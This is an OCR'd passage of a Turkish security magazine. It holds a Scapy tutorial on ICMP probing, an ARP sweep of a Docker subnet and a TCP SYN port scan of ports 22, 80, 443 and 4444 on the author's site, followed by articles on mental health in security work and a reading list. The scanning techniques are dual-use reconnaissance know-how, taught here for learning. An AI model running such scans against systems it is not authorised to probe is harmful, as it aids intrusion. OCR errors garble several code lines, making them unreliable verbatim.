daha yiiksek degerler kullaniyor. Siz de ping komutu kullan-
diginizda olusan ciktidan TTL degerini 6grenmeyi deneyebi-
lirsiniz.

ICMP ile alakali giris kisminda bir miktar temel bilgi ve uygu-
lamaya degindik. $imdi bir paket génderdikten sonra, Scapy




ile bu paketin karsisinda gelen cevabi nasil alacagimiza ba-
kalim. Yani tcpdump ekraninda gordiigiimiiz TTL degerinin
yeterli gelmedigi veya basarili bir sekilde karsiya ulagtigimizi
sOyleyen mesajlar1 dogrudan nasil Scapyden gorebilecegimize
bakalim. Bunu yapabilmek i¢in kullanacagimiz temel fonksi-
yon sr olacak. sr, aslinda send-receive’in kisaltmasi. Bu sekil-
de dusiiniince zaten ne yaptigini ismiyle acikliyor. Lafi daha
fazla uzatamadan uygulama yapmaya baglayalim. Bu boliim-
deki uygulamalar1 yaparken, daha fazla kendi agimizda ugras-
mamak icin kendi bilgisayarimizda container’lar ayaga kal-
dirip, onlarin IP adreslerine ulagmayi deneyecegiz. Isterseniz
elle sanal ag arayiizleri olusturup onlara IP atamasi ve diger
ayarlarini yaparak da ilerleyebilirsiniz. Docker’r kurmak igin:

$ sudo apt install docker.io -y

Bu uygulamada Docker1 temelde yazilim tabanli network
ozelliklerinden dolay: kullanacagimiz icin kullanici yetkilen-
dirme gibi detaylar1 gegip hizlica ilerlemeye ¢alisacagiz. Simdi
bir Nginx konteyneri olusturalim ve IP adresini alalim:

$ sudo docker run -d
nginx

--name nginx -p 80:80

.Net-
workSettings.Networks.bridge.IPAddress }}’

$ sudo docker inspect nginx --format “{{

172.17.0.2

Ikinci komutta elde ettigimiz IP adresi ile uygulamaya devam
edebiliriz. Artik internet, hatta ag baglantimiz olmasa bile bu
IP adresine istek gonderip bir¢ok uygulamay: kendi sanal ma-
kinemiz igerisinde gergeklestirebiliriz. Artik send-receive ko-
nusunda bir 6rnek yapalim:

>>> paket = ttl=10) /IC-

MP (type=8)

IP(dst="172.17.0.2",

>>> sr (paket)
Begin emission:
..Finished sending 1 packets.

*

Received 3 packets, got 1 answers, remaining
0 packets
(<Results: TCP:0 UDP:0 ICMP:1 Other:0>,

<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)

[k satirda paketi olusturup TTL degerini 10 yaptik. Aslinda
¢ok daha az degerlerde bile paket hedefine ulasabilir. Kag se-
ferde ulagabilecegimizi artik hep birlikte test edecek bilgiye
sahibiz. Tkinci satirda paketi génderip cevabini almak istedi-
gimizi soyledik. Hizlica gelen cevaba bakacak olursak, Results
ve Unanswered olarak, yani cevaplar ve cevaplanmayanlar
olarak iki farkli gruba ayristirilan paketlerle karsilasiyoruz.
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Bu paketler de Pythonda bir tuple (demet) yapisi icerisine ko-
nulmuslar. Bu paketin detaylarina nasil inebilecegimize ge¢-
meden once, cevap olarak tek bir paket almak istiyorsak bu
kadar hengame arasinda kaybolmadan kullanabilecegimiz bir
fonksiyon var: srl. Bu fonksiyon tek bir cevap bekledigimizde
isimizi epey kolaylastiriyor. Isterseniz paketi hi¢ bozmadan,
bir de srl ile gondermeyi deneyelim:

>>> srl (paket)
Begin emission:
..Finished sending 1 packets.

*

Received 3 packets, got 1 answers, remaining
0 packets
<IP wversion=4 ihl=5 tos=0x0 len=28 1d=28253

flags= frag=0 ttl=64 proto=icmp chksum=0xb45e
src=172.17.0.2 dst=172.17.0.1 options=[]

| <ICMP
id=0x0 seg=0x0

type=echo-reply code=0 chksum=0xffff
| >>

Déniis tam da bahsettigimiz gibi oldu. Dogrudan gelen cevabi
gordiik, hatta onunla alakali detayli bir bilgi edinmis olduk.
Aslinda ayni cevaba sr ile de erisebilirdik ancak onun igerisin-
deki demetin dogru 6gesini bulup igerisinden paketi ¢ikart-
mamiz gerekiyordu. Yani iki yontem de farkl kullanim alan-
larina sahip, bazi durumlarda sr1 bize kolaylik saglayabilir ve
hiz kazandirabilir.

Simdi paketi yine hi¢ degistirmeden, sr fonksiyonu ile ayni so-
nucu nasil alacagimizi gorelim:

>>> sonuc = sr (paket)
Begin emission:

*Finished sending 1 packets.

Received 1 packets, got 1 answers, remaining

0 packets
>>> sonuc[0] [ICMP] [0]

(<IP
| <ICMP

frag=0 ttl=10 proto=icmp dst=172.17.0.2
type=echo-request |>>,

<IP version=4 ihl=5 tos=0x0 len=28 i1id=18181
flags= frag=0 ttl=64 proto=icmp chksum=0xdbb6
src=172.17.0.2 dst=172.17.0.1 options=[]
| <ICMP type=echo-reply code=0 chksum=0xffff
1d=0x0 seg=0x0 |[>>)

Burada kisa bir agiklama yapmakta fayda var. Ik komutu ya-
zarken sr fonksiyonunun ¢iktisini sonuc isimli degiskene al-
dik. Sonrasinda da, bu degisken bir tuple oldugu i¢in, Results’s
igeren 0 indisli elemanina geldik (sonuc[0]). Gelen sonuglar
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igerisinden sadece ICMP’ler ile ilgilendigimiz i¢in onlar1 is-
tedik (sonuc[0][ICMP]). Elde ettigimiz ICMP paketi bir tane
de olsa, birden fazla 6geyi tutmaya da uygun olabilmesi i¢in
tuple olarak geliyor. Bu yiizden onun da 0. elemanina erigtik
(sonuc[0][ICMP][0]).

Bu sonuca bakacak olursak, hem gonderdigimiz istek, hem
de gelen cevap birlikte verilmis. Bu sayede birden fazla paket
gonderirsek hangi cevabin hangi istege ait oldugunu ayirt et-
memiz kolaylagacaktir. Son durumda elde ettigimiz yap1 da
parantezler icerisinde oldugu i¢in ashinda bir tuple1 andirdi-
g1 diistinerek hareket edersek yanilmis sayilmayiz. Bu tup-
le tizerindeki 0. eleman yapilan istegi, 1. eleman gelen cevabi
verecektir:

>>> sonuc[0] [ICMP][0][0] # istek

<IP frag=0 ttl=10 proto=icmp dst=172.17.0.2
|<ICMP type=echo-request |[>>

>>> sonuc[0] [ICMP] [0] [1] # cevap

<IP wversion=4 ihl=5 tos=0x0 len=28 id=38110
flags= frag=0 ttl=64 proto=icmp chksum=0x8ddd
src=172.17.0.2 dst=172.17.0.1 options=[]
|<ICMP type=echo-reply code=0 chksum=0xffff
1d=0x0 segq=0x0 |>>

Su ana kadar gordiigtimiiz sr ve sr1 fonksiyonlari, OSI mode-
linde 3. katmanda is yapiyor. Eger 2. katmana gore hazirlaya-
caginiz uygulamalariniz varsa srp fonksiyonunu deneyebilir-
siniz. Ornek olarak, Docker ile olusturdugumuz container’in
MAC adresini bulabilmek i¢in bir ARP sorgusu génderelim.
ARP sorgularim1 OSI 2. katmanda broadcast olarak génder-
digimiz i¢in hedef MAC adresi olarak ff:ff:ff:ff.ff.ff yazacagiz.
ARP paketini olusturdugumuzda da MAC adresini 6grenmek
istedigimiz IP adresini onun igerisindeki ilgili alana yazacagiz:
>>> frame = Ether(dst='ff:ff:ff:ff:f£:££")/
ARP (pdst="172.17.0.2")

>>> srpl (frame, iface=’docker0’)
Begin emission:

*Finished sending 1 packets.

Received 1 packets, got 1 answers, remaining
0 packets

<Ether dst=02:42:77:69:7£:08 src-
=02:42:ac:11:00:02 type=0x806 | <ARP hw-

type=0x1l ptype=0x800 hwlen=6 plen=4 op=is-at
hwsrc=02:42:ac:11:00:02 psrc=172.17.0.2
hwdst=02:42:77:69:7£:08 pdst=172.17.0.1 [|>>

Bu uygulamada, paketi gonderirken docker0 adli ag arayiizii-
nii kullandik. Bu arayiiz ile sorguladigimiz konteyner ayni ag
ierisinde oldugu icin dogrudan ARP sorgusuna cevap alabil-
dik.

Ag tizerinde bir ARP ping calistirmak istersek, IP yerine IP
subnet’i verebiliriz. Buna devam etmeden 6nce, ¢iktinin daha
zengin gozitkmesi ve taramanin sonucunda birden fazla sonug
alabilmek i¢in birkag yeni konteyner acalim (Bu komutu 3 kez
caligtiralim):

$ sudo docker run -d --rm alpine sleep 3600

(Bu komutta olusturulan konteynerler i¢in kapaninca otoma-
tik olarak silinmelerini sdyledik ve 1 saat sonra kapanmalar1
amaciyla bir komut verdik. Sonrasinda bilgisayarinizda bula-
mayabilirsiniz.)

Simdi ayni komutu bir subnet i¢in ¢aligtiralim. Bu amagla

Scapy’ye CIDR notasyonunda subnet veriyoruz:

>>> frame = Ether(dst="ff:ff:ff:ff:ff:££")/
ARP (pdst=1172.17.0.0/24")

>>> srp(frame, iface=’docker0’, timeout=2)
Begin emission:
****Finished sending 256 packets.

Received 4 packets,
252 packets

got 4 answers, remaining

(<Results: TCP:0 UDP:0 ICMP:0 Other:4>,

<Unanswered: TCP:0 UDP:0 ICMP:0 Other:252>)

Degisen tek sey IP yerine CIDR notasyonunda subnet sagla-
mamiz oldu ve 172.17.0.0/24 yazdik. O da bizim i¢in bu ara-
liktaki tiim IP adreslerine ait MAC adreslerini sordu. Ciktiya
bakarsak 4 tane doniis aldigini gorebiliriz. Ayrica, islemin sii-
riip gitmemesi i¢in 2 saniye limiti vererek en ge¢ 2 saniye i¢in-
de topladiklar: tizerinden sonu¢ vermesini istedik. Toplamda
4 konteyner agtigimiz i¢in 4 cikt1 elde ettik.

Bu noktada, paketleri ve frame’leri daha anlagilir bir sekilde
goriintilleyebilmek icin neler yapabilecegimize gecelim. Scapy
icerisinde paketleri sik bir sekilde gosteren ¢ok sayida metot
bulunuyor. Bir 6nceki 6rnegi tekrarlayip bu defa sonuglari
bir degiskene atayalim ve elde edilen 4 MAC adresini, hangi
IP’lere ait olduklarini listelemeye caligalim:
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>>> frames = srp(frame, iface=’docker0’, timeout=2)

Begin emission:

****Finished sending 256 packets.

Received 4 packets, got 4 answers,

>>> frames

remaining 252 packets

(<Results: TCP:0 UDP:0 ICMP:0 Other:4>,

<Unanswered: TCP:0 UDP:0 ICMP:0 Other:252>)

>>> frames[0]

<Results: TCP:0 UDP:0 ICMP:0 Other:4>

>>> frames[0].display ()

0000 Ether / ARP who has 172.

says 172.17.0.2

0001 Ether / ARP who has 172.

says 172.17.0.3

0002 Ether / ARP who has 172.

says 172.17.0.4

0003 Ether / ARP who has 172.

says 172.17.0.5

17.

17.

17.

17.

.2 says

.3 says

.4 says

.5 says

172

172.

172

172

17,

17.

17,

17,

==>

Ether

Ether

Ether

Ether

/ ARP

/ ARP

/ ARP

/ ARP

is

is

is

is

at

at

at

at

XX

XX

XX

XX

XX

XX

XX

XX

XX

XX:

XX

XX

XX

XX

XX

XX

XX1

XX

XX

XX

XX

XX

XX

XX

Aynu istegi tekrarlayip sonucu frames isimli degiskene aktardiktan sonra, cevap alinan frame’leri tutan 0 indisli elemanina gel-
dik (Results). Sonra da burada display metodunu kulanarak tiim paketler hakkinda 6zet bilgi alabildik. Bu bilgilerde hem MAC
adresleri hem de IP adresleri yer aldi. Bu aslinda basit bir network taramasi ve hangi cihazlarin baglanabildigini tespit etmede

kullanabilecegimiz ufak bir arag olabilir. Nmap’in ¢ok basit bir 6zelligini uyguladigimizi diisiinebiliriz.

Biraz daha detayl bilgi almak istersek, istedigimiz frame (paketlerde de aynisini uygulayabiliriz) {izerinde show metodunu

kullanabiliriz:

>>> frames[0] [0] [1].show ()
###[ Ethernet 1###
dst= XX:IXXIXXIXX!XX!XX
SrC= XX:!XX:!XX!XXIXX!IXX
type= 0x806
### [ ARP 1##4#
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= is-at
hwsrc= XX :XX:XX:XX:XX:!XX
psrc= 172.17.0.2
hwdst= XxX:xXX:xXX!XX:XX:!XX

pdst= 172.17.0.1
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Alanlar ve agiklamalarini farkli bir sekilde goriintiilemenin yolu da Is fonksiyonudur:

>>> Is(frames[0][0][1])

dst : DestMACField = xxxxxx:xx:xx:xx’ (None)

src : SourceMACField = 'XX:XX:xXX:Xx:xX:xx" (None)
type : XShortEnumField = 2054 (36864)
hwtype : XShortField =1 (1)

ptype : XShortEnumField = 2048 (2048)
hwlen : ByteField =6 (6)

plen : ByteField = 4 (4)

op : ShortEnumField = 2 (1)

hwsrc : ARPSourceMACField = 'XX:XX:XX:Xx:xX:xXx" (None)
psrc : SourcelPField = ‘172.17.0.2"' (None)
hwdst : MACField = 'XX:XX:XX:xXX:xXx:xx’ (Y00:00:00:00:00:00")
pdst : IPField = ‘172.17.0.1" (Y0.0.0.0")

Paket/frame hakkinda, display() methodunda oldugu gibi daha anlasilir ve 6zet bilgi gormek istersek summary methodunu
kullanabiliriz:

>>> f = frames[0][0][1]

>>> f.summary ()

‘Ether / ARP is at 02:42:ac:11:00:02 says 172.17.0.27
Paketleri/frameleri ayn1 zamanda, gorsellestirip bu gorselleri PDF olarak kaydedebiliriz:

>>> paket.pdfdump (‘/home/guray/Desktop/icmpquery.pdf’)

45/[001100_1c [00 0a ac 11 00 01
version 4 lac 11 00 02/08/ [00_ 00100 02
ihl 5 / [/

tos 0x0 , A _

len 28 . / I

id — Sl ; //,_

flags - - ok

frag 0 : A

ttl 10

proto icmp—— oot —

chksum 0x58bb-

src 172.17.0.1

dst 172.17.0.2

options 1]

ICMP

type echo-request

code

chksum Oxfrfd—

id 0x0

seq 0x2
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Serinin bu kismin: bitirmeden 6nce bir de TCP sinifina deginelim. TCP baglantilarini olusturmak, tiim bayraklari, sequence
ve acknowledge numaralarini ve diger bilgileri teker teker belirleme, izleme, degistirme ve tekrar hatta koyma imkani saglar.

>>> paket ip = IP(dst="www.gurayyildirim.com.tr”)

>>> paket tcp = TCP (dport=80)

>>> paket = paket ip / paket tcp

>>> paket

<IP frag=0 proto=tcp dst=Net (‘www.gurayyildirim.com.tr’) |<TCP dport=http [>>

Paketi olugtururken once bir IP paketi olusturup, sonrasinda da hedef portu 80 olan TCP sinifi olusturduk. Sonrasinda da /
ile bunlari birbirine baglayip istek yapmaya hazir hale getirdik. Son satirda da nasil goziktiigiine baktik. Paketi olusturduktan
sonra, gonderip bir TCP baglantis1 agmaya ¢aligabiliriz:

>>> response = sr (paket)

Begin emission:

Finished sending 1 packets.

*

Received 1 packets, got 1 answers, remaining 0 packets

>>> response[0] [TCP]

<TCP from Results: TCP:1 UDP:0 ICMP:0 Other:0>

Elde ettigimiz sonucu biraz daha iyi ayristirip gelen-giden verileri incelemek istersek, Python'un ¢oklu atama islevinden fayda-
lanabiliriz:
>>> answered, unanswered = response

>>> request response = answered[0]

Oncelikle cevaplanan ve cevaplanmayanlar1 demet iizerinden ayrigtirarak farkli degiskenlere atadik. Sonrasinda da ilk istek-
cevap ciftini request-response isimli degiskene atadik. Simdi bu degisken icerisinde bir tuple duruyor ve ilk 6gesi istek, ikin-
cisi alinan cevabu igeriyor. Normalde TCP’nin kurulmasi i¢in ilk giden istekte SYN bayraginin, gelen cevapta da SYN ve ACK
bayraklarinin olmasini bekleriz. Bunu kontrol etmek icin daha 6nce gérdiugiimiiz summary() methodundan faydalanabiliriz:
>>> request response[0].summary ()

‘IP / TCP 10.0.2.15:ftp data > x.y.z.t:http S’

>>> request response[l].summary ()

‘IP / TCP x.y.z.t:http > 10.0.2.15:ftp data SA / Padding’

Ciktida son kisimlara dogru yer alan S harfleri SYN, A harfi ise ACK anlamuni tagir. Yani bekledigimiz {izere yapilan istek SYN

bayragini, cevap ise hem SYN hem ACK bayragini gondermis. Simdi elimizdeki cevap paketinin yapisini detaylica incelemek
i¢in show() methodunun kullanimina bakalim:

>>> request response[l].show ()
#HE[ IP 1##4#

version= 4

ihl= 5
tos= 0x0
len= 44
id= 42590
flags=
frag= 0

ttl= 64
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proto= tcp
chksum= 0x65de
src= xXx.y.z.t
dst= 10.0.2.15
\options\
### [ TCP ]###
sport= http
dport= ftp data
seg= 20530901
ack= 1
dataofs= 6
reserved= 0
flags= SA
window= 65535
chksum= 0x73£f6
urgptr= 0
options= [ (‘MSS’, 1460)]
###[ Padding ]###
load= *\x00\x00'
Bu yazida 3 yonlii el sikismay1 heniiz yapmayacak olsak da, TCP portlarinin agik olup olmadigini test edecek, yani port tarama
yapacak bir uygulama yapacak bilgiyi edindik. Tek yapmamiz gereken, port yerine 6nceki drnekteki gibi sadece 80’1 vermek
yerine bir liste halinde istedigimiz kadar port vermek. Simdi bunu bir 6rnek tizerinden gorelim:
>>> paket = TCP(dport=[22,80,443,4444])
>>> ip = IP(dst="www.gurayyildirim.com.tr”)
>>> ip / paket

<IP frag=0 proto=tcp dst=Net (‘www.gurayyildirim.com.tr’) |<TCP dport=[‘ssh’, ‘http’, ‘https’,
444477 |>>

>>> scanner = ip / paket

>>> results, unanswered = sr (scanner, timeout=3)

Begin emission:

.Finished sending 4 packets.

* Kk Kk Kk

Received 5 packets, got 4 answers, remaining 0 packets
(<Results: TCP:4 UDP:0 ICMP:0 Other:0>,

<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)

>>> results.show ()

0000 IP / TCP 10.0.2.15:ftp data > x.y.z.t:http S ==> IP / TCP x.y.z.t:http > 10.0.2.15:ftp
data SA / Padding

0001 IP / TCP 10.0.2.15:ftp data > x.y.z.t:ssh S ==> IP / TCP x.y.z.t:ssh > 10.0.2.15:ftp data
SA / Padding

0002 IP / TCP 10.0.2.15:ftp data > x.y.z.t:https S ==> IP / TCP x.y.z.t:https > 10.0.2.15:ftp
data SA / Padding

0003 IP / TCP 10.0.2.15:ftp data > x.y.z.t:4444 S ==> IP / TCP x.y.z.t:4444 > 10.0.2.15:ftp
data RA / Padding
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Bu ornekte web sitesi tizerinde 22, 80, 443, 4444 portlarinin ~ Kaynaklar ve okuma onerileri:
agik olup olmadigini TCPden SYN gondererek kontrol ettik.  https://scapy.readthedocs.io/

En sonda da, gelen cevaplar: topladik. Sunucunun bazi kapa-
l1 portlara kendisinin veya 6niinde bulunan baska bir cihazin
cevap vermemesi ihtimalinden yola ¢ikarak da 2 saniyelik bir
zaman agimu belirledik. En sonda results.show() dedigimizde https://www.osso.nl/blog/scapy-dns-server-snippet/
gelen cevaplara bakacak olursak SA yazanlarin SYN-ACK ol-

dugunu yani agik portlar oldugunu, RA yazanda Rnin RST

oldugunu ve portun kapali oldugunu diisiinebiliriz. Basit bir

port tarama islemini bu sekilde gerceklestirebiliriz.

https://thepacketgeek.com/series/building-network-tools-
with-scapy/

(]
PYTHON KITAP+VIDEO EGITIM SETI abakis Y E N I

BASLAYANLAR
Yeni Baslayanlar ici ICIN
PYTHON | 24101

PYTHON 3.6.5 VE PYTHON 3.7.0 UYUMLU

Ahmet AKSOY
» Python'un Temelleri + Coklu Kullanim [Multithreading)

e AHMET AKSOY

* Nesne Ydnelimli Programlama * Veri Madenciligi

KITAP+VIDEO EGITIM SETI




Huriye Ozdemir — huriye@arkakapidergi.com ARKA KAPI

Siher Guvenlikte Yeni
Odak Noktasi

Zihinsel Saglk

2018 yilinda diinyanin en biiyiik uluslararas siber giivenlik konferanslari olan Blackhat,
RSA ve DEFCONda yapilan konusmalarda, bilisim teknolojileri ile ugrasan insanlarin
zihinsel saglhg1, vurgulanan en onemli bashiklar arasinda yerini aldi ve sektorde yeni bir

odak noktasi haline gelmeye baslads.

takip eden ve bu alana ilgi duyan siz okuyucularimi-  bizleri ayakta ve zinde tutan akil kaynagimizdan yeterince ve

Bu yazimda, giivenlik diinyasindaki gelismeleri stirekli ~ gdstermedigimizde, tipki zafiyetli bir sistemde oldugu gibi

za §0yle bir geriye yaslanip bu diinyaya biraz da fark-  verimli bir sekilde faydalanamiyor, tistelik onu tehditlere kars:
I1 bir perspektifle bakmaniz1 saglayacak yeni bir gelismeden savunmasiz hale getiriyoruz.
bahsediyor olacagim. Aslinda yeni degil fakat farkindaligimizi

arttirmamiz gereken ve son za-
manlarda uluslararas1 platform-
larda da dile getirilmeye baslanan
bir konu. Arka Kapi ailesi olarak
arka kapaklara tagidigimiz edebi
yazilarimiz ile biz de ashinda bu
perspektifi sizlere yansitmaya ve
kazandirmaya ¢alistyoruz.

Hig diistindiiniiz mii, neden ken-
dimize yeterince vakit ayirmiyor,
zihinsel sagligimizi dikkate almi-
yoruz?

Giivenligi hakkinda endise edi-
len sistemlerin siirekliligi, de-
vamlilig1 ve ulasilabilirligi biz-
leri ilgilendirirken, tiim bunlar
yapabilmemize olanak saglayan
ve yasamimizin en temel sistemi
olan zihnimize neden gerekli
O0zeni gostermiyoruz? Bu ozeni
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Giivenlik egitimlerinin temelinde yer aldig1 gibi saglik ala-
ninda da dikkat edilen 3 faktor: farkindalik, korunma ve er-
ken teshistir. O zaman 6ncelikli olarak diisiinmemiz gereken;
kendi akil ve ruh saghigimizi ne kadar besledigimizin farkinda
olmak, aksi takdirde bunun bizler i¢in ne gibi problemlerle
sonuglanacagini anlamaktir. Sistemdeki problemi tespit etti-
gimize gore bundan sonrasinda atilacak adimlar bu probleme
kars1 kendimizi korumaya almaktir.

Insanlar kendi akil ve ruh sagliklarini dikkate aldiklarinda ve
kendilerine yeteri kadar vakit ayirdiklarinda bask: ve strese
kars1 daha dayanikli hale gelirler. Siber giivenlik alanindaki
calisma sartlarina bakacak olursak olasi saldirilara kars: sii-
rekli olarak teyakkuzda ve savunma halinde kalma ihtiyac,
saatlerce calismayi gerektirebilir ve bunun beraberinde de in-
san iizerinde yogun stres ve kaygi bozukluklar: ortaya ¢ikar.
Bu ¢alisma kosullarina direng gostermek, degisimle basa ¢ika-
bilmek ve karsilasilan zorluklar: yenebilmek i¢in de psikolojik
a¢idan saglam olmak gerektigi asikardur.

Pozitif ve saglikli bir zihinden beslenerek tiretilen galigmalar
ile daginiklik ve yogun bir karmasa icerisinde kalmis negatif
bir zihnin tretecegi ciktilar elbette ki farkl: olacaktir.

Yine anlayacagimiz bir dilde metaforik bir yaklasimla bakar-
sak, basit bir bilgisayar sistemindeki input - output iliskisi gibi,
akil istediginiz sonuca ulasabilmeniz i¢in, sizin vereceginiz
saglikli ve pozitif girdileri bekliyor.

2018 yilinda gergeklesen Blackhat konferansinda “Mental He-
alth Hacks: Fighting Burnout, Depression and Suicide in the
Hacker Community” sunumu ile Jay Radcliffe ve Christian
Dameft, hacker topluluklarindaki tiikenmislik, depresyon ve

intiharla miicadele konularinin iizerinde duruyor. Anormal
uyku diizenlerinin ve yogun stresli islerin baskisinin in-
sanlar iizerinde sosyal duyarsizliga ve madde kullanimina
sebep oldugunu hatta intiharla sonu¢landigini belirtiyor.
Bu depresyon, kayg: bozukluklar1 ve mesleki titkenmislige se-
bep olarak, bilgi giivenligi alanindaki insan sayisinin azligina,
dolayisi ile mevcut ¢alisanlar {izerinde artan is giicline ve bu
alandaki insanlarin egitiminin yetersizligine vurgu yapiyorlar.

Ayni sekilde RSA siber giivenlik konferansinda da “Cybersecu-
rity Impact on Mental Health: Managing Stress, Building Resili-
ence” sunumunda ise Psikiyatrist Ryan Louie, stresle baga ¢ik-
ma, mukavemet ve direng gésterme konularindan bahsediyor.

Peki zihnimizi beslemenin yollar1 nelerdir?

Psikiyatrist Ryan Louie, “Cybersecurity starts with mental se-
curity” ctimlesi ile bitirdigi raporunda, ¢6ztiim olarak sunlar1
siraliyor:

« Kendinize kaliteli zamanlar ayirin. Isinizle alakali ol-
mayan ve size iyi gelecegini disiindiigliniiz herhangi
bir aktiviteye katilin ya da bir hobi edinin ve eglenmeye
zaman ay1rin.

o Kendiniz tizerinde diisiiniin. Sizi yansitan, sizi siz yapan
faktorleri ve yapmak istediklerinizi ortaya ¢ikarin.

o Giivendiginiz insanlarla acik iletisim halinde olun, gerek-
tiginde onlara yardim edin ve onlardan yardim alin.

o Zihin sagliginiza dncelik vererek kiiltiirel degisimleri
stirdiirmeye devam edin.

o Farkli meslek alanlarindan insanlar ile bir arada olun ve
bagkalarindan yeni seyler 6grenin.
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Kendimizi tanimamiz ve anlamamiz, zihnimize iyi gelecek,
ruhumuza dokunacak ayrica bizi zihnen rehabilite edecek
farkli ugraglar edinmemiz agisindan olduk¢a 6nemli. Giilten
Akin'in “Tlk Yaz” siirindeki su dizelerle yazimi bitirmek isti-
yorum:

“Ah, kimselerin vakti yok
Durup ince seyleri anlamaya”
Her seye 6nce kendimizi anlamakla baslayalim.
Not: Psikiyatr onayindan ge¢mistir.
Kaynakca:
https://www.axios.com/mental-health-focus-at-premier-

cybersecurity-conference-black-hat-f5d07{88-c119-48¢8-
bfc1-f4ala60afbc0.html

https://www.blackhat.com/us-18/briefings/schedule/index.
html#mental-health-hacks-fighting-burnout-depression-
and-suicide-in-the-hacker-community-10659

https://www.rsaconference.com/writable/presentations/file_
upload/p2p4-t07-cybersecurity-impact-on-mental-health-
managing-stress-building-resilience.pdf
https://www.redcat-digital.com/mental-health-cybersecurity-
industry/
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Okuma

erhabalar. Arka Kapi Dergisinde ikinci defa huzur-
larinizdayim. Sizin i¢in yine giizel makaleler derle-
dim. Umarim istifade edersiniz. Buyursunlar:

Basarili Blockchain Tecriibeleri

Blockchain, pek ¢ok projede halen deneysel olarak kullanili-
yor. Ama bagarili Blockchain projeleri de varmis. Enes Tiirk,
bu projeleri anlattig1 faydali bir yazi dizisine baglamus. ilk du-
rag1 Isvicre olmus. Isvi¢re Federal Demiryollarr'nda caligan 30
bin (kadrolu + farkli firmalar iizerinden taseron) personelin
dijital kimlikleri olusturulmus ve sahip olduklar: sertifikalar
dagitik veri tabanina kaydedilmis. Akabinde de her ¢aligma
alanina girislerinde bir QR kod okutarak, o alanda ¢alisma
yetkinligine sahip olduklarini dogrulamaya baslamuislar.

Ikinci yazisinda ise Hindistandaki bazi uygulamalar1 yazmis.
Bankacilik ve finans alaninda 18 farkli kullanim senaryosun-
dan bahsetmis.

Baglantilar: https://medium.com/@enesturk/
d%C3%BCnyadan-blockchain-denemeleri-hindistan-

bankac%C4%B11%C4%B1k-ve-finans-ae572638b532

2019 Trendleri

IoX Digital, 2019 trendleri isimli ¢ok giizel bir seriye baglamus.
An itibariyle birkag tanesi yayimlanmay: bekleyen konu bas-
liklar1 su sekilde:

IoX Trendleri (Mustafa Dalc1), Miisteri Deneyimi Trendleri
(Pisano), Uriin Yonetimi Trendleri (Erman Taylan), Servis
Tasarimi Trendleri (Aydincan Ataberk) ve Teknoloji Trendle-
ri (Turan Can Artung), Girisimcilik Trendleri (Murat Torto-
poglu), Kurumsal Inovasyon Trendleri (Ferhat Demir), Renk
Trendleri (Elif Yardimci), Growth Trendleri(Muhammed Tii-
fekyapan), Arayiiz Gelistirme Trendleri (Murat Incesu), Uriin

Muhammed Hilmi Koca - mhkoca60@gmail.com
Yazilimeilar igin

Listesl

Tasarimi1 Trendleri (Selin Yagsan), Kullanici Deneyimi Trend-
leri (Aras Bilgen-an itibariyle yayimlayan bu yazi sanirim
Linkedinden okudugum ve agagida bahsettigim yaziyla ayni
olacak).

Aras Bilgen, kullanici deneyimi ile alakali bir nevi almanak
yazmig. Baslik: 2019 ve Tiirkiyede Kullanici Deneyimi. Olduk-
¢a doyurucu bir yazi. Profiline baktigimda 2018 ve 2017 6nce-
si de degerlendirmeler yazdigini gérdiim.

Google, Apple, Facebook, Microsoft gibi devlerin “yaptik” de-
meKk i¢in yaptig1 ama sonra geri adim attig1 tasarim hatalarin-
dan baslayarak, g6z boyayici invanlardan bahsediyor; akabin-
de gelecegin tasarimcilarinin dikkat etmesi gereken hususlari
siraliyor.

Icerikbulutu da, oldukga kapsamli ve énemli bir calismaya
imza atmus. Dijital pazarlama alaninda yetkin 31 isme 2019
yili i¢in 6ngoriilerini sormuslar.

Baglantilar:
https://ioxdigital.com/trendler/2019-trendleri/

https://www.linkedin.com/pulse/2019-ve-
t%C3%BCrkivede-kullan%C4%B1c%C4%B1-deneyimi-

aras-bilgen/




Muhammed Hilmi Koca - Yazilimcilar igin Okuma Listesi ARKA KAPI

https://blog.icerikbulutu.com/2019da-dijital-pazarlama-
dunyasi-neleri-konusacak
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Cop Toplayici

Yiiksek seviyeli dillerin 6nemli kisitlarindan biri hafiza yo-
netimini soyutlamasi ve yazilimcinin buradaki kontroliinii
zorlagtirmasi. Bu soyutlamanin sonucu olarak da hafiza yo-
netimini Garbage Collector marifetiyle kendisi yapryor. Tabii
bize de yerine gore disposable nesneler kullanarak ve gerek-
siz instance iiretiminin Oniine gegerek kendisine yardim et-
mek diisityor. Gokhan Sengiin, haftalik yazilarinin birinde,
.NET’in Garbage Collector mekanizmasini anlatmus.

Gokhan Sengiin, gectigimiz haftalardaki diger bir yazisinda
internet ¢agindaki yerinde duramayan arkadaglarimizi, bot-
lart anlatmis. Bunlarin zararlilariyla olan miicadeleyi “aklin
akilla miicadelesi” olarak tanimlamis ve oldukea ilging miica-
dele mekanizmalarindan bahsetmis.

Baglantilar:
https://medium.com/@gokhansengun/garbage-collector-
nas%C4%B11-%C3%A7al%C4%B1%C5%9F%C4%B1r-
3bdf21b20282

El45E)
=

https://medium.com/@gokhansengun/bot-nedir-ve-
k%C3%B6t%C3%BC-ama%C3%A71%C4%B1-botlarla-
nas%C4%B11-m%C3%BCcadele-edilir-9b4dd08df6a

Of=30

Mikroservislerin Zorluklari ve Bunlar icin
Gelistirilen Cozumler

Mikroservisler, hemen her teknoloji gibi ¢6zdiigli problem-
lerin yaninda belli dezavantajlarla geliyorlar. Suat Kose, bu
dezavantajlar ve ¢6ztim yontemleri hakkinda olduk¢a dolu
icerikler tiretiyor. Ilk olarak irdeledigi konu: farkli mikro-ser-
visler i¢in entegrasyon testi yapmak. Bu problem i¢in bir ¢6-
ziim sunan Consumer Driven Contrats yaklasimindan ve bu
yaklasimi implement eden bir framework’ten bahsediyor.

Bu yazinin akabinde de mikro-servislerde transaction yoneti-
mini ele aldig giizel bir yaz1 yayimlamis.

Yayimladig1 son yazida ise mikroservis mimarisinde servisler
arasi iletisim yontemlerinden bahsetmis. Event-Driven mi-
mari, Request-Dirven mimari ve hibrid mimari bagliklariyla
konuyu anlatmus.

Baglantilar:
https://medium.com/devopsturkiye/microservice-

mimarilerde-integration-test-nas%C4%B11-
vaz%C4%B11%C4%B1r-e6b45daa7914

https://medium.com/devopsturkiye/microservice-
mimarilerde-transaction-y%C3%B6netimi-nas%C4%B11-
vap%C4%B11%C4%B1r-228317e248ed

https://medium.com/devopsturkiye/
